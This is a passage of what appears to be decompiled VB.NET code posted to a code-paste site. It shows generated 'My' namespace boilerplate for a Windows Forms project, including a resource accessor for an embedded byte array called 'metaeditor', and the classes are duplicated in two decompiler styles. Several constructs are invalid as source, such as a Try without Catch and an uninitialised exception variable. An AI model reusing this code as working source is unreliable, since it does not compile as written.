  801. MyApplication.__ENCAddToList(Me)
  802. Me.IsSingleInstance = False
  803. Me.EnableVisualStyles = True
  804. Me.SaveMySettingsOnExit = True
  805. Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
  806. End Sub
  807.  
  808. <DebuggerNonUserCode()> _
  809. Private Shared Sub __ENCAddToList(ByVal value As Object)
  810. Dim list As List(Of WeakReference) = MyApplication.__ENCList
  811. SyncLock list
  812. If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then
  813. Dim index As Integer = 0
  814. Dim num3 As Integer = (MyApplication.__ENCList.Count - 1)
  815. Dim i As Integer = 0
  816. Do While (i <= num3)
  817. Dim reference As WeakReference = MyApplication.__ENCList.Item(i)
  818. If reference.IsAlive Then
  819. If (i <> index) Then
  820. MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i)
  821. End If
  822. index += 1
  823. End If
  824. i += 1
  825. Loop
  826. MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index))
  827. MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count
  828. End If
  829. MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
  830. End SyncLock
  831. End Sub
  832.  
  833. <MethodImpl((MethodImplOptions.NoOptimization Or MethodImplOptions.NoInlining)), STAThread(), EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden()> _
  834. Friend Shared Sub Main(ByVal Args As String())
  835. Try
  836. Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
  837. End Try
  838. MyProject.Application.Run(Args)
  839. End Sub
  840.  
  841. <DebuggerStepThrough()> _
  842. Protected Overrides Sub OnCreateMainForm()
  843. Me.MainForm = MyProject.Forms.Form1
  844. End Sub
  845.  
  846.  
  847. ' Fields
  848. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
  849. End Class
  850.  
  851.  
  852.  
  853. Namespace WindowsApplication1.My
  854. <EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
  855. Friend Class MyComputer
  856. Inherits Computer
  857. End Class
  858. End Namespace
  859.  
  860.  
  861.  
  862. Namespace WindowsApplication1.My
  863. <StandardModule(), GeneratedCode("MyTemplate", "10.0.0.0"), HideModuleName()> _
  864. Friend NotInheritable Class MyProject
  865. ' Properties
  866. <HelpKeyword("My.Application")> _
  867. Friend Shared ReadOnly Property Application() As MyApplication
  868. <DebuggerHidden()> _
  869. Get
  870. Return MyProject.m_AppObjectProvider.GetInstance
  871. End Get
  872. End Property
  873.  
  874. <HelpKeyword("My.Computer")> _
  875. Friend Shared ReadOnly Property Computer() As MyComputer
  876. <DebuggerHidden()> _
  877. Get
  878. Return MyProject.m_ComputerObjectProvider.GetInstance
  879. End Get
  880. End Property
  881.  
  882. <HelpKeyword("My.Forms")> _
  883. Friend Shared ReadOnly Property Forms() As MyForms
  884. <DebuggerHidden()> _
  885. Get
  886. Return MyProject.m_MyFormsObjectProvider.GetInstance
  887. End Get
  888. End Property
  889.  
  890. <HelpKeyword("My.User")> _
  891. Friend Shared ReadOnly Property User() As User
  892. <DebuggerHidden()> _
  893. Get
  894. Return MyProject.m_UserObjectProvider.GetInstance
  895. End Get
  896. End Property
  897.  
  898. <HelpKeyword("My.WebServices")> _
  899. Friend Shared ReadOnly Property WebServices() As MyWebServices
  900. <DebuggerHidden()> _
  901. Get
  902. Return MyProject.m_MyWebServicesObjectProvider.GetInstance
  903. End Get
  904. End Property
  905.  
  906.  
  907. ' Fields
  908. Private Shared ReadOnly m_AppObjectProvider As ThreadSafeObjectProvider(Of MyApplication) = New ThreadSafeObjectProvider(Of MyApplication)
  909. Private Shared ReadOnly m_ComputerObjectProvider As ThreadSafeObjectProvider(Of MyComputer) = New ThreadSafeObjectProvider(Of MyComputer)
  910. Private Shared m_MyFormsObjectProvider As ThreadSafeObjectProvider(Of MyForms) = New ThreadSafeObjectProvider(Of MyForms)
  911. Private Shared ReadOnly m_MyWebServicesObjectProvider As ThreadSafeObjectProvider(Of MyWebServices) = New ThreadSafeObjectProvider(Of MyWebServices)
  912. Private Shared ReadOnly m_UserObjectProvider As ThreadSafeObjectProvider(Of User) = New ThreadSafeObjectProvider(Of User)
  913.  
  914. ' Nested Types
  915. <EditorBrowsable(EditorBrowsableState.Never), MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")> _
  916. Friend NotInheritable Class MyForms
  917. ' Methods
  918. <DebuggerHidden()> _
  919. Private Shared Function Create__Instance__(Of T As {Form, New})(ByVal Instance As T) As T
  920. Dim local As T
  921. Dim exception As TargetInvocationException
  922. If (If(((Instance Is Nothing) OrElse Instance.IsDisposed), 1, 0) = 0) Then
  923. Return Instance
  924. End If
  925. If (Not MyForms.m_FormBeingCreated Is Nothing) Then
  926. If MyForms.m_FormBeingCreated.ContainsKey(GetType(T)) Then
  927. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0 - 1) {}))
  928. End If
  929. Else
  930. MyForms.m_FormBeingCreated = New Hashtable
  931. End If
  932. MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
  933. Try
  934. Return Activator.CreateInstance(Of T)()
  935. Catch exception1 As TargetInvocationException When ((Not exception.InnerException Is Nothing))
  936. ProjectData.SetProjectError(exception = exception1)
  937. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", New String() {exception.InnerException.Message}), exception.InnerException)
  938. ProjectData.ClearProjectError()
  939. Finally
  940. MyForms.m_FormBeingCreated.Remove(GetType(T))
  941. End Try
  942. Return local
  943. End Function
  944.  
  945. <DebuggerHidden()> _
  946. Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
  947. instance.Dispose()
  948. instance = CType(Nothing, T)
  949. End Sub
  950.  
  951. <EditorBrowsable(EditorBrowsableState.Never)> _
  952. Public Overrides Function Equals(ByVal o As Object) As Boolean
  953. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  954. End Function
  955.  
  956. <EditorBrowsable(EditorBrowsableState.Never)> _
  957. Public Overrides Function GetHashCode() As Integer
  958. Return MyBase.GetHashCode
  959. End Function
  960.  
  961. <EditorBrowsable(EditorBrowsableState.Never)> _
  962. Friend Function [GetType]() As Type
  963. Return GetType(MyForms)
  964. End Function
  965.  
  966. <EditorBrowsable(EditorBrowsableState.Never)> _
  967. Public Overrides Function ToString() As String
  968. Return MyBase.ToString
  969. End Function
  970.  
  971.  
  972. ' Properties
  973. Public Property Form1() As Form1
  974. <DebuggerNonUserCode()> _
  975. Get
  976. Me.m_Form1 = MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
  977. Return Me.m_Form1
  978. End Get
  979. <DebuggerNonUserCode()> _
  980. Set(ByVal Value As Form1)
  981. If (Not Value Is Me.m_Form1) Then
  982. If (Not Value Is Nothing) Then
  983. Throw New ArgumentException("Property can only be set to Nothing")
  984. End If
  985. Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
  986. End If
  987. End Set
  988. End Property
  989.  
  990.  
  991. ' Fields
  992. Public m_Form1 As Form1
  993. <ThreadStatic()> _
  994. Private Shared m_FormBeingCreated As Hashtable
  995. End Class
  996.  
  997. <MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)> _
  998. Friend NotInheritable Class MyWebServices
  999. ' Methods
  1000. <DebuggerHidden()> _
  1001. Private Shared Function Create__Instance__(Of T As New)(ByVal instance As T) As T
  1002. If (instance Is Nothing) Then
  1003. Return Activator.CreateInstance(Of T)()
  1004. End If
  1005. Return instance
  1006. End Function
  1007.  
  1008. <DebuggerHidden()> _
  1009. Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
  1010. instance = CType(Nothing, T)
  1011. End Sub
  1012.  
  1013. <DebuggerHidden(), EditorBrowsable(EditorBrowsableState.Never)> _
  1014. Public Overrides Function Equals(ByVal o As Object) As Boolean
  1015. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  1016. End Function
  1017.  
  1018. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
  1019. Public Overrides Function GetHashCode() As Integer
  1020. Return MyBase.GetHashCode
  1021. End Function
  1022.  
  1023. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
  1024. Friend Function [GetType]() As Type
  1025. Return GetType(MyWebServices)
  1026. End Function
  1027.  
  1028. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
  1029. Public Overrides Function ToString() As String
  1030. Return MyBase.ToString
  1031. End Function
  1032.  
  1033. End Class
  1034.  
  1035. <EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)> _
  1036. Friend NotInheritable Class ThreadSafeObjectProvider(Of T As New)
  1037. ' Properties
  1038. Friend ReadOnly Property GetInstance() As T
  1039. <DebuggerHidden()> _
  1040. Get
  1041. If (ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing) Then
  1042. ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)()
  1043. End If
  1044. Return ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
  1045. End Get
  1046. End Property
  1047.  
  1048.  
  1049. ' Fields
  1050. <CompilerGenerated(), ThreadStatic()> _
  1051. Private Shared m_ThreadStaticValue As T
  1052. End Class
  1053. End Class
  1054. End Namespace
  1055.  
  1056.  
  1057.  
  1058. Namespace WindowsApplication1.My
  1059. <EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated(), GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")> _
  1060. Friend NotInheritable Class MySettings
  1061. Inherits ApplicationSettingsBase
  1062. ' Methods
  1063. <DebuggerNonUserCode(), EditorBrowsable(EditorBrowsableState.Advanced)> _
  1064. Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs)
  1065. If MyProject.Application.SaveMySettingsOnExit Then
  1066. MySettingsProperty.Settings.Save()
  1067. End If
  1068. End Sub
  1069.  
  1070.  
  1071. ' Properties
  1072. Public Shared ReadOnly Property [Default]() As MySettings
  1073. Get
  1074. If Not MySettings.addedHandler Then
  1075. Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject
  1076. ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject)
  1077. SyncLock addedHandlerLockObject
  1078. If Not MySettings.addedHandler Then
  1079. AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings)
  1080. MySettings.addedHandler = True
  1081. End If
  1082. End SyncLock
  1083. End If
  1084. Return MySettings.defaultInstance
  1085. End Get
  1086. End Property
  1087.  
  1088.  
  1089. ' Fields
  1090. Private Shared addedHandler As Boolean
  1091. Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object)
  1092. Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings)
  1093. End Class
  1094. End Namespace
  1095.  
  1096.  
  1097.  
  1098. Namespace WindowsApplication1.My.Resources
  1099. <StandardModule(), CompilerGenerated(), GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), HideModuleName(), DebuggerNonUserCode()> _
  1100. Friend NotInheritable Class Resources
  1101. ' Properties
  1102. <EditorBrowsable(EditorBrowsableState.Advanced)> _
  1103. Friend Shared Property Culture() As CultureInfo
  1104. Get
  1105. Return Resources.resourceCulture
  1106. End Get
  1107. Set(ByVal Value As CultureInfo)
  1108. Resources.resourceCulture = Value
  1109. End Set
  1110. End Property
  1111.  
  1112. Friend Shared ReadOnly Property metaeditor() As Byte()
  1113. Get
  1114. Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("metaeditor", Resources.resourceCulture)), Byte())
  1115. End Get
  1116. End Property
  1117.  
  1118. <EditorBrowsable(EditorBrowsableState.Advanced)> _
  1119. Friend Shared ReadOnly Property ResourceManager() As ResourceManager
  1120. Get
  1121. If Object.ReferenceEquals(Resources.resourceMan, Nothing) Then
  1122. Dim manager2 As New ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly)
  1123. Resources.resourceMan = manager2
  1124. End If
  1125. Return Resources.resourceMan
  1126. End Get
  1127. End Property
  1128.  
  1129.  
  1130. ' Fields
  1131. Private Shared resourceCulture As CultureInfo
  1132. Private Shared resourceMan As ResourceManager
  1133. End Class
  1134. End Namespace
  1135.  
  1136.  
  1137. Imports Microsoft.VisualBasic.ApplicationServices
  1138. Imports System
  1139. Imports System.CodeDom.Compiler
  1140. Imports System.Collections.Generic
  1141. Imports System.ComponentModel
  1142. Imports System.Diagnostics
  1143. Imports System.Runtime.CompilerServices
  1144. Imports System.Windows.Forms
  1145.  
  1146. Namespace WindowsApplication1.My
  1147. <EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
  1148. Friend Class MyApplication
  1149. Inherits WindowsFormsApplicationBase
  1150. ' Methods
  1151. <DebuggerStepThrough> _
  1152. Public Sub New()
  1153. MyBase.New(AuthenticationMode.Windows)
  1154. MyApplication.__ENCAddToList(Me)
  1155. Me.IsSingleInstance = False
  1156. Me.EnableVisualStyles = True
  1157. Me.SaveMySettingsOnExit = True
  1158. Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
  1159. End Sub
  1160.  
  1161. <DebuggerNonUserCode> _
  1162. Private Shared Sub __ENCAddToList(ByVal value As Object)
  1163. Dim list As List(Of WeakReference) = MyApplication.__ENCList
  1164. SyncLock list
  1165. If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then
  1166. Dim index As Integer = 0
  1167. Dim num3 As Integer = (MyApplication.__ENCList.Count - 1)
  1168. Dim i As Integer = 0
  1169. Do While (i <= num3)
  1170. Dim reference As WeakReference = MyApplication.__ENCList.Item(i)
  1171. If reference.IsAlive Then
  1172. If (i <> index) Then
  1173. MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i)
  1174. End If
  1175. index += 1
  1176. End If
  1177. i += 1
  1178. Loop
  1179. MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index))
  1180. MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count
  1181. End If
  1182. MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
  1183. End SyncLock
  1184. End Sub
  1185.  
  1186. <MethodImpl((MethodImplOptions.NoOptimization Or MethodImplOptions.NoInlining)), STAThread, EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden> _
  1187. Friend Shared Sub Main(ByVal Args As String())
  1188. Try
  1189. Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
  1190. End Try
  1191. MyProject.Application.Run(Args)
  1192. End Sub
  1193.  
  1194. <DebuggerStepThrough> _
  1195. Protected Overrides Sub OnCreateMainForm()
  1196. Me.MainForm = MyProject.Forms.Form1
  1197. End Sub
  1198.  
  1199.  
  1200. ' Fields
  1201. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
  1202. End Class
  1203. End Namespace
  1204.  
  1205. Imports Microsoft.VisualBasic.Devices
  1206. Imports System.CodeDom.Compiler
  1207. Imports System.ComponentModel
  1208.  
  1209. Namespace WindowsApplication1.My
  1210. <EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
  1211. Friend Class MyComputer
  1212. Inherits Computer
  1213. End Class
  1214. End Namespace
  1215.  
  1216.  
  1217.  
  1218. Namespace WindowsApplication1.My
  1219. <StandardModule, GeneratedCode("MyTemplate", "10.0.0.0"), HideModuleName> _
  1220. Friend NotInheritable Class MyProject
  1221. ' Properties
  1222. <HelpKeyword("My.Application")> _
  1223. Friend Shared ReadOnly Property Application As MyApplication
  1224. <DebuggerHidden> _
  1225. Get
  1226. Return MyProject.m_AppObjectProvider.GetInstance
  1227. End Get
  1228. End Property
  1229.  
  1230. <HelpKeyword("My.Computer")> _
  1231. Friend Shared ReadOnly Property Computer As MyComputer
  1232. <DebuggerHidden> _
  1233. Get
  1234. Return MyProject.m_ComputerObjectProvider.GetInstance
  1235. End Get
  1236. End Property
  1237.  
  1238. <HelpKeyword("My.Forms")> _
  1239. Friend Shared ReadOnly Property Forms As MyForms
  1240. <DebuggerHidden> _
  1241. Get
  1242. Return MyProject.m_MyFormsObjectProvider.GetInstance
  1243. End Get
  1244. End Property
  1245.  
  1246. <HelpKeyword("My.User")> _
  1247. Friend Shared ReadOnly Property User As User
  1248. <DebuggerHidden> _
  1249. Get
  1250. Return MyProject.m_UserObjectProvider.GetInstance
  1251. End Get
  1252. End Property
  1253.  
  1254. <HelpKeyword("My.WebServices")> _
  1255. Friend Shared ReadOnly Property WebServices As MyWebServices
  1256. <DebuggerHidden> _
  1257. Get
  1258. Return MyProject.m_MyWebServicesObjectProvider.GetInstance
  1259. End Get
  1260. End Property
  1261.  
  1262.  
  1263. ' Fields
  1264. Private Shared ReadOnly m_AppObjectProvider As ThreadSafeObjectProvider(Of MyApplication) = New ThreadSafeObjectProvider(Of MyApplication)
  1265. Private Shared ReadOnly m_ComputerObjectProvider As ThreadSafeObjectProvider(Of MyComputer) = New ThreadSafeObjectProvider(Of MyComputer)
  1266. Private Shared m_MyFormsObjectProvider As ThreadSafeObjectProvider(Of MyForms) = New ThreadSafeObjectProvider(Of MyForms)
  1267. Private Shared ReadOnly m_MyWebServicesObjectProvider As ThreadSafeObjectProvider(Of MyWebServices) = New ThreadSafeObjectProvider(Of MyWebServices)
  1268. Private Shared ReadOnly m_UserObjectProvider As ThreadSafeObjectProvider(Of User) = New ThreadSafeObjectProvider(Of User)
  1269.  
  1270. ' Nested Types
  1271. <EditorBrowsable(EditorBrowsableState.Never), MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")> _
  1272. Friend NotInheritable Class MyForms
  1273. ' Methods
  1274. <DebuggerHidden> _
  1275. Private Shared Function Create__Instance__(Of T As { Form, New })(ByVal Instance As T) As T
  1276. Dim local As T
  1277. Dim exception As TargetInvocationException
  1278. If (If(((Instance Is Nothing) OrElse Instance.IsDisposed), 1, 0) = 0) Then
  1279. Return Instance
  1280. End If
  1281. If (Not MyForms.m_FormBeingCreated Is Nothing) Then
  1282. If MyForms.m_FormBeingCreated.ContainsKey(GetType(T)) Then
  1283. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0 - 1) {}))
  1284. End If
  1285. Else
  1286. MyForms.m_FormBeingCreated = New Hashtable
  1287. End If
  1288. MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
  1289. Try
  1290. Return Activator.CreateInstance(Of T)
  1291. Catch exception1 As TargetInvocationException When ((Not exception.InnerException Is Nothing))
  1292. ProjectData.SetProjectError(exception = exception1)
  1293. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", New String() { exception.InnerException.Message }), exception.InnerException)
  1294. ProjectData.ClearProjectError
  1295. Finally
  1296. MyForms.m_FormBeingCreated.Remove(GetType(T))
  1297. End Try
  1298. Return local
  1299. End Function
  1300.  
  1301. <DebuggerHidden> _
  1302. Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
  1303. instance.Dispose
  1304. instance = CType(Nothing, T)
  1305. End Sub
  1306.  
  1307. <EditorBrowsable(EditorBrowsableState.Never)> _
  1308. Public Overrides Function Equals(ByVal o As Object) As Boolean
  1309. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  1310. End Function
  1311.  
  1312. <EditorBrowsable(EditorBrowsableState.Never)> _
  1313. Public Overrides Function GetHashCode() As Integer
  1314. Return MyBase.GetHashCode
  1315. End Function
  1316.  
  1317. <EditorBrowsable(EditorBrowsableState.Never)> _
  1318. Friend Function [GetType]() As Type
  1319. Return GetType(MyForms)
  1320. End Function
  1321.  
  1322. <EditorBrowsable(EditorBrowsableState.Never)> _
  1323. Public Overrides Function ToString() As String
  1324. Return MyBase.ToString
  1325. End Function
  1326.  
  1327.  
  1328. ' Properties
  1329. Public Property Form1 As Form1
  1330. <DebuggerNonUserCode> _
  1331. Get
  1332. Me.m_Form1 = MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
  1333. Return Me.m_Form1
  1334. End Get
  1335. <DebuggerNonUserCode> _
  1336. Set(ByVal Value As Form1)
  1337. If (Not Value Is Me.m_Form1) Then
  1338. If (Not Value Is Nothing) Then
  1339. Throw New ArgumentException("Property can only be set to Nothing")
  1340. End If
  1341. Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
  1342. End If
  1343. End Set
  1344. End Property
  1345.  
  1346.  
  1347. ' Fields
  1348. Public m_Form1 As Form1
  1349. <ThreadStatic> _
  1350. Private Shared m_FormBeingCreated As Hashtable
  1351. End Class
  1352.  
  1353. <MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)> _
  1354. Friend NotInheritable Class MyWebServices
  1355. ' Methods
  1356. <DebuggerHidden> _
  1357. Private Shared Function Create__Instance__(Of T As New)(ByVal instance As T) As T
  1358. If (instance Is Nothing) Then
  1359. Return Activator.CreateInstance(Of T)
  1360. End If
  1361. Return instance
  1362. End Function
  1363.  
  1364. <DebuggerHidden> _
  1365. Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
  1366. instance = CType(Nothing, T)
  1367. End Sub
  1368.  
  1369. <DebuggerHidden, EditorBrowsable(EditorBrowsableState.Never)> _
  1370. Public Overrides Function Equals(ByVal o As Object) As Boolean
  1371. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  1372. End Function
  1373.  
  1374. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden> _
  1375. Public Overrides Function GetHashCode() As Integer
  1376. Return MyBase.GetHashCode
  1377. End Function
  1378.  
  1379. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden> _
  1380. Friend Function [GetType]() As Type
  1381. Return GetType(MyWebServices)
  1382. End Function
  1383.  
  1384. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden> _
  1385. Public Overrides Function ToString() As String
  1386. Return MyBase.ToString
  1387. End Function
  1388.  
  1389. End Class
  1390.  
  1391. <EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)> _
  1392. Friend NotInheritable Class ThreadSafeObjectProvider(Of T As New)
  1393. ' Properties
  1394. Friend ReadOnly Property GetInstance As T
  1395. <DebuggerHidden> _
  1396. Get
  1397. If (ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing) Then
  1398. ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)
  1399. End If
  1400. Return ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
  1401. End Get
  1402. End Property
  1403.  
  1404.  
  1405. ' Fields
  1406. <CompilerGenerated, ThreadStatic> _
  1407. Private Shared m_ThreadStaticValue As T
  1408. End Class
  1409. End Class
  1410. End Namespace
  1411.  
  1412. Imports Microsoft.VisualBasic.ApplicationServices
  1413. Imports Microsoft.VisualBasic.CompilerServices
  1414. Imports System
  1415. Imports System.CodeDom.Compiler
  1416. Imports System.ComponentModel
  1417. Imports System.Configuration
  1418. Imports System.Diagnostics
  1419. Imports System.Runtime.CompilerServices
  1420.  
  1421. Namespace WindowsApplication1.My
  1422. <EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated, GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")> _
  1423. Friend NotInheritable Class MySettings
  1424. Inherits ApplicationSettingsBase
  1425. ' Methods
  1426. <DebuggerNonUserCode, EditorBrowsable(EditorBrowsableState.Advanced)> _
  1427. Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs)
  1428. If MyProject.Application.SaveMySettingsOnExit Then
  1429. MySettingsProperty.Settings.Save
  1430. End If
  1431. End Sub
  1432.  
  1433.  
  1434. ' Properties
  1435. Public Shared ReadOnly Property [Default] As MySettings
  1436. Get
  1437. If Not MySettings.addedHandler Then
  1438. Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject
  1439. ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject)
  1440. SyncLock addedHandlerLockObject
  1441. If Not MySettings.addedHandler Then
  1442. AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings)
  1443. MySettings.addedHandler = True
  1444. End If
  1445. End SyncLock
  1446. End If
  1447. Return MySettings.defaultInstance
  1448. End Get
  1449. End Property
  1450.  
  1451.  
  1452. ' Fields
  1453. Private Shared addedHandler As Boolean
  1454. Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object)
  1455. Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings)
  1456. End Class
  1457. End Namespace
  1458.  
  1459. Imports Microsoft.VisualBasic
  1460. Imports Microsoft.VisualBasic.CompilerServices
  1461. Imports System
  1462. Imports System.CodeDom.Compiler
  1463. Imports System.ComponentModel
  1464. Imports System.Diagnostics
  1465. Imports System.Globalization
  1466. Imports System.Resources
  1467. Imports System.Runtime.CompilerServices
  1468.  
  1469. Namespace WindowsApplication1.My.Resources
  1470. <StandardModule, CompilerGenerated, GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), HideModuleName, DebuggerNonUserCode> _
  1471. Friend NotInheritable Class Resources
  1472. ' Properties
  1473. <EditorBrowsable(EditorBrowsableState.Advanced)> _
  1474. Friend Shared Property Culture As CultureInfo
  1475. Get
  1476. Return Resources.resourceCulture
  1477. End Get
  1478. Set(ByVal Value As CultureInfo)
  1479. Resources.resourceCulture = Value
  1480. End Set
  1481. End Property
  1482.  
  1483. Friend Shared ReadOnly Property metaeditor As Byte()
  1484. Get
  1485. Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("metaeditor", Resources.resourceCulture)), Byte())
  1486. End Get
  1487. End Property
  1488.  
  1489. <EditorBrowsable(EditorBrowsableState.Advanced)> _
  1490. Friend Shared ReadOnly Property ResourceManager As ResourceManager
  1491. Get
  1492. If Object.ReferenceEquals(Resources.resourceMan, Nothing) Then
  1493. Dim manager2 As New ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly)
  1494. Resources.resourceMan = manager2
  1495. End If
  1496. Return Resources.resourceMan
  1497. End Get
  1498. End Property
  1499.  
  1500.  
  1501. ' Fields
  1502. Private Shared resourceCulture As CultureInfo
  1503. Private Shared resourceMan As ResourceManager
  1504. End Class
  1505. End Namespace
  1506.  
  1507.  
  1508.  
  1509.  
Not running #stdin #stdout 0s 0KB
stdin
Standard input is empty
stdout
Standard output is empty